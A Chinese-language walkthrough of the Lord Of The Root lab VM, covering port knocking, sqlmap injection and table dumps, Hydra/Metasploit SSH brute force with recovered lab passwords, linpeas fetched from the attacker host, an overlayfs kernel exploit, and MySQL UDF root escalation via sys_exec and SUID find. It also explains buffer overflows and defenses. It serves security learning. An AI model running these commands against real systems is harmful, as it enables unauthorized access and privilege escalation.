项目六:Lord Of The Root-1.0.1(上)
#Nmap信息收集
---主机发现:192.168.95.132

---全端口扫描:发现只开启22端口

---查看端口的详细信息:nmap 192.168.95.132 -sV -p 22 -sS -A -T5
---没有发现什么有用的信息

---根据smeagol提示,登陆SSH(没有密码无法登陆,但是获取提示信息)

#端口试探(portknocking)
---设置端口试探是建立服务器安全连接的好方法。一般做法是发送特定的包给服务器,以触发服务器的回应/连接(打开防火墙)。端口敲门对于有开放端口的系统是一个很好的防护措施
---端口试探的主要目的是防止攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包
---当主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口或者防火墙允许客户端通过(现实是将80端口修改为其它端口)
---由于对外Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制

---如何进行端口碰撞?
---首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小
---使用konck:sudo apt install knockd
---使用konck按照顺序敲击靶机的123端口,并且输出详细信息

---使用nmap进行全端口扫描,发现了一个1337的Web服务端口

#Web信息收集
---访问http://192.168.95.132:1337/(我这里只有Kail能访问,Windows主机不能访问,看来这里的端口试探是限制IP的),但是这里存在一个目录
---提示信息:我会把戒指带到MORDOR
---思路:1.根据页面提示信息访问目录2.分离图片获取信息3.查看前端源代码(未发现信息)

---下载图片

---分别使用binwalk、exiftool、strings查看图片是否存在隐藏信息

---解密一下发现没有发现什么

---使用dirb爆破Web:这里没有发现什么有价值的信息

---手动访问一下robots.txt文件和readme.html(访问之前的mordor的目录也是这一张图)
---提示:萨姆我们不能走这条路,黑色大门太主流了

---查看源代码发现奇怪的符号:
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

---发现这里是base64编码:Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

---将前面的再进行一次解码:/978345210/index.php=closer!

---访问这个URL,发现一个用户登陆的界面
---思路:1.进行爆破(可能存在弱口令)2.Sql注入获取信息
---思路1:使用admin/admin进行登陆失败,已知用户名admin,不知道密码而且没有验证码,可以使用BrupSuite抓包爆破,也可以试试其它工具
---思路2:使用SQLMap进行注入

#SQL注入漏洞
---直接使用SQLmap进行注入,说这里没有指定参数

---对登陆界面抓个包,还是发现是POST的传输

---Sqlmap的常用参数
---SQLmap的常用参数使用举例
---对数据包的文件进行测试(有些时候使用AWVS进行抓包,sqlmap进行分析)
----使用BurpSuite抓取数据包,对需要测试的位置后面加上 *

---保存为test.txt,然后进行测试
---获取数据库信息

---检测WAF以及WAF绕过

---操作系统命令执行

---使用-forms参数指定一个包含表单的HTML文件或URL
---指定-forms参数时,会解析HTML文件的表单,自动识别表单字段、方法、目标URL等信息
---然后,它会对每个表单字段进行逐个测试,以发现可能存在的SQL注入漏洞
---:o开启所有优化项;forms使用表单对页面进行GET和POST测试;--batch默认Y
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch

---发现POST的参数password存在盲注漏洞

---获取数据库名称:
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --dbs --batch
---这里发现数据库的名称

---在实战的时候直接getshell(大部分是WebSHell)
---先查看当前用户是否具有root权限(发送是root权限)
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --is-dba --batch

---查看当前用户:发现当前用户是root
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -current-user

---查看数据库所有的用户,存在5个用户(其实是2个,一个root和非root)
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -users

---爆数据库所有用户的对应密码,root密码为空
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms -batch -passwords

---这里尝试直接通过SQLMap进行os-shell(需要3个条件):
dbms为mysql,网站必须是root权限
攻击者需要知道网站的绝对路径(并不知道)
magic_quotes_gpc = off,php主动转移功能关闭
---sqlmap的--os-shell在mysql数据库中的原理:
---1.往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下
---2.另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令
---sqlmap探测网站的根目录,先获取一个交互式的shell
sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

--上面获取不到Web根目录的地址,直接梭哈
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --os-shell
---默认的PHP网站

---默认的几个目录,但是这里爆破失败了(应该是目录不对)

---转换思路:1.获取用户的用户名和密码,然后登陆web后台进行查看2.获取用户名和密码对SSH进行爆破
---获取Webapp数据库里面的所有表
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --batch -D Webapp -tables

---查看User表里面的列,发现存在3列:id、password、username
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --batch -D Webapp -T Users -columns

---查看指定表的列,并且导出列里面的字段,获取了用户名和密码
sqlmap -u "192.168.95.132:1337/978345210/index.php" -o -forms --batch -D Webapp -T Users -C id,password,username --dump

#Hydra爆破SSH
---将用户名和密码分别写入爆破字典:
---使用 echo -e
命令可以在输出中插入换行符或制表符,\n
:换行符;\t
:制表符;\\
:反斜杠;\"
:双引号;\'
:单引号

---这里出现了SSH的账号,先用ssh爆破一波

---SSH爆破:hydra -L users.txt -P password.txt 192.168.95.132 ssh
---发现用户名:smeagol,密码: MyPreciousR00t

#MSF爆破SSH
---msf进行SSH爆破,搜索关于SSH的脚本

---搜索关于SSH登陆的脚本,发现存在2个默认的脚本(使用第一个)

---需要设置自定义用户名和密码本( PASS_FILE 、USERPASS_FILE)
---STOP_ON_SUCCESS:当破解成功后停止攻击,当为flase的时候爆破成功就自动登陆,反弹MSF的shell

---设置自定义的用户字典和密码字典,以及只爆破密码不登陆ssh

---run获取用户名和密码,以及在sessions里面查看shell
---用户权限是普通的用户权限

#Linux 普通用户提权信息搜集
---思路1:采用uname -a查看版本
---Linux
:操作系统名称为 Linux;LordOfTheRoot主机名为;
---3.19.0-25-generic内核版本;
---#26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015
:内核编译日期和时间
---i686 athlon i686
:硬件架构;GNU/Linux
:操作系统类型

---通过kail搜索:searchsploit linux ubuntu 3.19.0
---但是这里数字部分没有红色,不是很匹配

------也可以通过谷歌搜索:感觉谷歌更准确一些

---查看靶机发行版本:lsb_release -a
Distributor ID
:发行版标识,此处为 Ubuntu。Description
:发行版描述,此处为 Ubuntu 14.04.3Release
:发行版版本,此处为 14.04Codename
:发行版代号,此处为 trusty
---注意:3.19.0-25-generic内核版本主要涉及操作系统内核的更新和改进,Ubuntu 14.04发行版本则是在内核基础上构建的、具有特定配置和软件包集合的完整操作系统

---使用发行版本(内核版本当约束条件)当作关键字效率搜索exp效率更高
---但是这里把39166漏掉了,实战得话应该都会尝试

---谷歌搜索:Ubuntu 14.04 exploit
---这里发现搜索的最优选择是39166和37088(实战的时候以谷歌搜索为主)

---思路2:使用linpeas.sh

---wget 192.168.95.128:8081/linpeas.sh下载并且执行
---这里是linux系统版本(红色说明存在exp,也可能存在sudo提权,1.8.9不存在)

---查看具有SUID权限的文件
---这里具有SUID权限的文件,基本不具有提权的(都是/bin目录或者/usr/bin目录里面)
---但是下面这三个文件应该是用户自定义的文件,具有SUID权限
/SECRET/door2/file
/SECRET/door1/file
/SECRET/door3/file

---橙色说明存在漏洞,这三个文件存在缓冲区溢出漏洞(注意:在finalshell上看不到橙色)
---这里发现文件的用户是root,而其它用户只具有执行权限(那么可以使用缓冲区溢出提权)
---如果具有SUID权限文件,并且其它用户可以写入的话,也可以进行提权(比如计划任务cron里面的脚本具有root权限,而且其它用户可以写入)

---但是用户没有sudo权限(不能使用SUDO提权)

---计划任务的其它用户只存在执行权限(不能使用计划任务提权)

---查看mysql版本(高于5.1版本,需要导出链接库到\plugin目录)

---也可使用查看服务:dpkg -l | grep mysql
---dpkg查看软件包信息,-i指已安装的软件包
---这里存在MYSQL服务,可以尝试MYSQL的UDF提权

---思路三:使用linux-exploit-suggester.sh查找漏洞
---使用Python得http.server传输(MSF得upload也可以)
---在/tmp目录下执行(注意要在kail本机上),dirtycow、overlayfs等
---注意:优先选没有Comments的(约束),以及来自exploit-db的exp

---总结存在提权的方式:1.内核漏洞提权 2.Mysql的UDF提权 3.SUID
##1.内核漏洞提权
---Linux 内核中 overlayfs 文件系统是 Ubuntu 的特定问题,由于没有正确的验证文件系统功能在用户名称空间中的应用
---由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权
---在searchsploit里面搜索漏洞编号,并且复制到http.server的目录

---靶机下载exp,然后编译执行,发现提权成功

---在root目录下查看flag,还发现一个python的文件
---而且/root目录下,存在2个SUID权限的文件:buf和other

---在/SECRET/目录下,存在3个子目录door,子目录下存在file文件(root权限)

---可以使用find命令查看 /SECRET目录下的文件,并且显示SUID权限
---这里也可以使用也可以:find /SECRET -type f -exec ls -l {} \;

---这里遍历3个目录,将/root/other文件复制到三个目录并且重命名为file
---然后随机选择一个目录,将file由原来的/root/other替换成/root/buf
---也就是虽然都是file,但是可能是/root/other,也可能是/root/buf
---去/root目录下查看他们的权限区别, 权限都是一样具有SUID权限
---其它用户只有执行权限,一个大小5150KB,一个大小7370KB
---也就是缓冲区溢出的文件,随机在/SECRET/下的三个目录的file文件出现

---通过crontab -l查看当前用户的计划任务:每三分钟执行一次脚本

---在crontab -l的命令真实目录:
---每个用户的cron都存储在一个独立的文件中,通常位于/var/spool/cron
/crontabs目录
---如果用户"john",那么该用户的cron作业文件路径通常是/var/spool/cron/crontabs/john

---系统范围的cron作业通常存储在/etc/crontab
文件中

---由于OS的版本不同,可以使用find+通配符进行查看:find / -name "cron*" -type f

---但是在普通用户下,只能查看系统的计划任务
---这里系统的计划任务,并没有switcher.py

#MySql的UDF提权
---查看MYSQL安装包版本5.5.44:dpkg -l | grep mysql

---查看进程的ps的参数
---查看包含使用者的进程,筛选root用户和mysql服务:ps -aux |grep root|grep mysql
---发现mysql具有root权限

---在/var/www目录下搜索存在password的文件(就是数据库配置文件)
---grep命令参数:-n显示匹配行号;-r递归搜索子目录; -s:不显示文本的错误信息

---grep的pattern正则表达式主要参数
---搜索在web目录(一般在)数据库的用户名和密码
---通过路径/var/www(目录补全)下查看数据库配置文件(思路1:find查看文件名config;思路2:grep -r递归查看数据库密码等内容)

---查看login.php: cat /var/www/978345210/login.php
---这里存在一个明显的SQL注入漏洞(虽然对参数进行了\过滤,但是还是存在风险)
---SQL注入的防护
使用预处理语句:使用预处理语句可以有效地防止SQL注入攻击。使用参数化查询来处理用户输入,而不是直接将用户输入的数据拼接到SQL查询语句中
过滤输入数据:对用户输入的数据进行过滤和验证,确保只接受符合预期格式的数据。可以使用函数如
filter_var()
和mysqli_real_escape_string()
来过滤和转义用户输入
---filter_var()
函数用于过滤和验证数据的格式和类型
---而mysqli_real_escape_string()
函数用于转义字符串,以防止SQL注入攻击
---在处理用户输入时,最好结合使用这两个函数以增强安全性
限制用户输入的长度和类型:在接受用户输入之前,对用户名和密码的长度和类型进行验证。可以使用
strlen()
函数检查长度,使用正则表达式验证特定的格式
---登陆Mysql:mysql -uroot -pdarkshadow
---首先看一下是否满足写入条件:show global variables like 'secure%';
---在MySQL中,全局变量是用来配置数据库服务器行为的设置项,LIKE
运算符来匹配以 "secure" 开头的变量名,%是MYSQL的通配符
----secure_file_priv
是一个MySQL全局变量,用于配置服务器上可被导入或导出的文件路径。它指定了MySQL服务器允许的文件系统路径,从中可以读取或写入文件

---查询系统变量:在Mysql5.1之后需要将exp导入到指定的目录
---获取到目录:/usr/lib/mysql/plugin/

---查看是否可以远程登陆:查询mysql数据库的User表
---远程登陆可以使用MSF提权,这里只能UDF提权
select user,host,password from user;

---那么,现在需要在MYSQL里面创建表,然后将so文件以二进制导入表中
---BLOB在MYSQL的表里面存在存储二进制文件的数据类型(容器),四种BLOB类型:
---在kail搜索exp:loacte lib_mysqludf并且复制到指定目录
---这里分为MSF和sqlmap的exp,选择MSF的exp
---MSF的分为so文件(LINUX)和dll文件(Windows),在uname -a显示是i686 athlon i686
----i686 athlon i686表示基于 Intel 80386 架构(也称为x86)的 32位操作系统

---修改名称并且传输

---/tmp目录下载exp(这里是编译过的,我们要查看
---lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量

---Mysql的默认三个数据库
mysql
:mysql
是MySQL服务器的系统数据库,其中存储了关于用户账户、权限、访问控制和其他系统级元数据的信息。它包含了用于管理MySQL服务器的系统表,如user
、db
、tables_priv
等。通过操作mysql
数据库的表和数据,可以管理用户账户、设置权限、监控服务器状态等。information_schema
:information_schema
是一个提供关于数据库和表的元数据信息的虚拟数据库。它不实际存储数据,而是提供了对数据库结构、表、列、索引、触发器、视图等的元数据查询。通过查询information_schema
,可以获取关于数据库和表结构的详细信息,如列的数据类型、约束、注释等。performance_schema
:performance_schema
是一个用于收集和存储MySQL服务器性能相关信息的数据库。它提供了对数据库服务器性能指标、资源使用情况、查询统计等的访问。通过分析performance_schema
的数据,可以进行性能优化、故障排查和服务器资源管理
---可以看出,mgsql数据库是系统数据库,那么就就具有root权限

---LOAD_FILE()
函数是MySQL中的一个内置函数,用于从文件系统中读取文件的内容读取到表
---dumpfile()是MySQL中的一个内置函数,将表的元素导出到指定目录文件
---然后根据dayu.so文件,构建导出函数sys_exec(),并且在mysql.func表中查看

---在Mysql执行给find命令SUID权限:select sys_exec('chmod u+s /usr/bin/find');

---通过find命令执行:find / -exec '/bin/sh' \;

#MySQL的UDF提权的拓展

##缓冲区溢出
#堆和栈的区别:
---栈(操作系统):由操作系统(编译器)自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。
---堆(操作系统): 一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收,分配方式倒是类似于链表(new一个对象就是堆)
---malloc用于分配内存,free用于释放内存。它们的使用不会自动调用构造函数和析构函数。
---new用于分配内存并调用构造函数,delete用于释放内存并调用析构函数。
---因此,在C++中应该尽量使用new/delete进行内存分配和释放,而不是使用malloc/free
---在栈中是先入后出,所以地址位数大的在下面,地址位数小的在上面
---这里每个栈内存块占4Byte(32bit),对应的32位寄存器操作系统
---数据在4Byte(32bit)里面,X86系统采用小端存储:数据低位保存在内存低地址中,数据的高位保存在内存中的高地址中(大端存储则相反)
---1111 0000是八位二进制数,1111是数据的高位,而0000是数据的低位
---注意:在计算机中,数据以补码存储(无符号数:原码=反码=补码,有符号数则不一样)

---esp(栈顶)和esp(栈底)的作用只是定位数据的位置
---黄色部分是之前的分配的缓冲区,函数执行结束后被释放

---这里是一个主函数的反汇编:sum(int a ,int b)是求和函数返回a+b
---调用的sum()汇编
---CPU执行的程序:call指令通常用于调用函数
---物理地址是汇编函数的地址(注意和内存地址区分),call下一个指令地址76EA70D7

---call指令在调执行时,先看call指令的长度和call所在的物理地址,这样才能计算出call指令的下一个指令地址,并且会把下一个指令地址存储到堆栈中
---这里发现76EA70D7被压入了栈顶,然后esp-4

---之后cpu就会在堆栈中开辟出一段存储空间用于调用函数、存储临时变量
---注意:由于调用call函数时,先push 下一行汇编指令(esp-4),然后保存push ebp(esp-8),mov ebp,esp
---所以在调用函数的堆栈里面,ebp=上一个函数的esp-8,那么当前函数的ebp+4里面存储着call执行完成之后的的函数物理地址

---函数调用完后对堆栈的处理:pop ebp弹出值,并将保存到ebp寄存器中(这里的ebp存储着下一条汇编指令的函数地址)
---ret
弹出返回地址,CPU并跳转到该地址处(ebp寄存器的下一条汇编指令的函数地址)

#缓存区溢出漏洞原理
---在了解完堆栈结构和call指令后,我们可以清楚的知道如果我们在调用一个函数时传入一个数据,如果这个数据大小超过我们所分配的缓冲区大小,那么就会造成缓冲区溢出
---在调用函数结束后,如调用sum()函数的结果,返回abcdefg一共7Byte,使用2个地址块存储
---但是如果返回abcdefghabcdefgh,2个地址块装不下,就会发生溢出使得ebp+4(原来存储着call下一条汇编指令地址)的内容,变成了efgh

#缓冲区溢出的利用
---通过修改存在堆栈中的返回地址,可以跳转到我们想要执行程序的物理地址。
---我们可以计算好堆栈的空间,然后输入一串我们编写好的具有特殊功能的Shellcode,通过返回地址调整esp指向位置去执行我们编写的shellcode
---执行效果如下

---函数地址和函数指针的概念区分
---这串代码就是用到了数组越界的方法。我们声明的数组大小为五,所以在堆栈中分配的五个堆栈内存单元
---但是我们向下标为六的数组空间中存入我们Hello World函数的地址,这就造成了越界

#缓冲区溢出的防护
---编写安全的代码与代码审查 :使用strncpy( ) 、snprintf( ) 等替换的版本

--- 编译器修改 :无论堆溢出还是栈溢出, 根本原因是缓冲区的越界访问
---通过编译器修改对每个数组进行边界检查, 使得缓冲区根本无法溢出, 则能完全地避免该漏洞和溢出攻击
---库函数修改:由于动态内存分配函数是作为库实现的, 程序对这些函数的调用是动态加载
---可以利用库函数修改方法来保护dlmalloc等库的内存管理信息, 防止malloc 库攻击
---操作系统与硬件修改:如设置不可执行的缓冲区( 堆或栈) 防止攻击者执行注入的代码, 加密指令集使得攻击者在注入代码时很难 猜测指令正确的机器码表示
---ALSR介绍:
————————————————
---通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术
--- 在传统的操作系统里,用户程序的地址空间布局是固定的,自低向高依次为代码区, BSS区,堆栈区,攻击者通过分析能轻易得出各区域的基地址,在此情况下,只要攻击者的 注入代码被执行,攻击者就能随意跳转到想到达的区域,终取得计算机的控制权,试想如 果一个程序在执行时,系统分配给此进程三个区域的基地址是随机产生的,每次该程序执行 都不一样,那么攻击者注入的代码即使被执行,也终会因为无法找到合法的返回地址而产 生错误,终进程停止,攻击者无法入侵,这就是地址空间布局随机化的基本思想。
---在ASLR的实现中,系统将进程的 用户空间(4GB)分为三个区域,可执行区,映射区和栈区,可执行区存放可执行代码,初始化数据 和未初始化数据,映射区包括堆,动态库和共享内存,栈区是用户态栈,当进程被创建时, 对于X86体系计算机,系统给每个区域一个随机的偏移量,分别为16位,16位和24位,其中 映射区偏移量称为delta-map,这样动态链接库的基地址就有65536种可能 ,当然这个数字应 该更大一些的,因为对于现代计算机而言,这实在不算一个很大的范围,但是对于32位的线 性地址来说,高四位为全局页表,如果用随机产生会影响对高位内存的映射能力,会产生大 量的内存碎片,低12位要考虑页对齐,因而只能有16位来作为偏移量,而在64位机上,则可 以有40位来产生delta-map,效率将大大提高
---在出现了某些漏洞,比如内存信息泄露的情况下,攻击者会得到部分内存信息,比如某些代码指针。传统的ASLR只能随机化整个segment,比如栈、堆、或者代码区。这时攻击者可以通过泄露的地址信息来推导别的信息,如另外一个函数的地址等。这样整个segment的地址都可以推导出来,进而得到更多信息,大大增加了攻击利用的成功率。在32位系统中,由于随机的熵值不高,攻击者也容易通过穷举法猜出地址
————————————————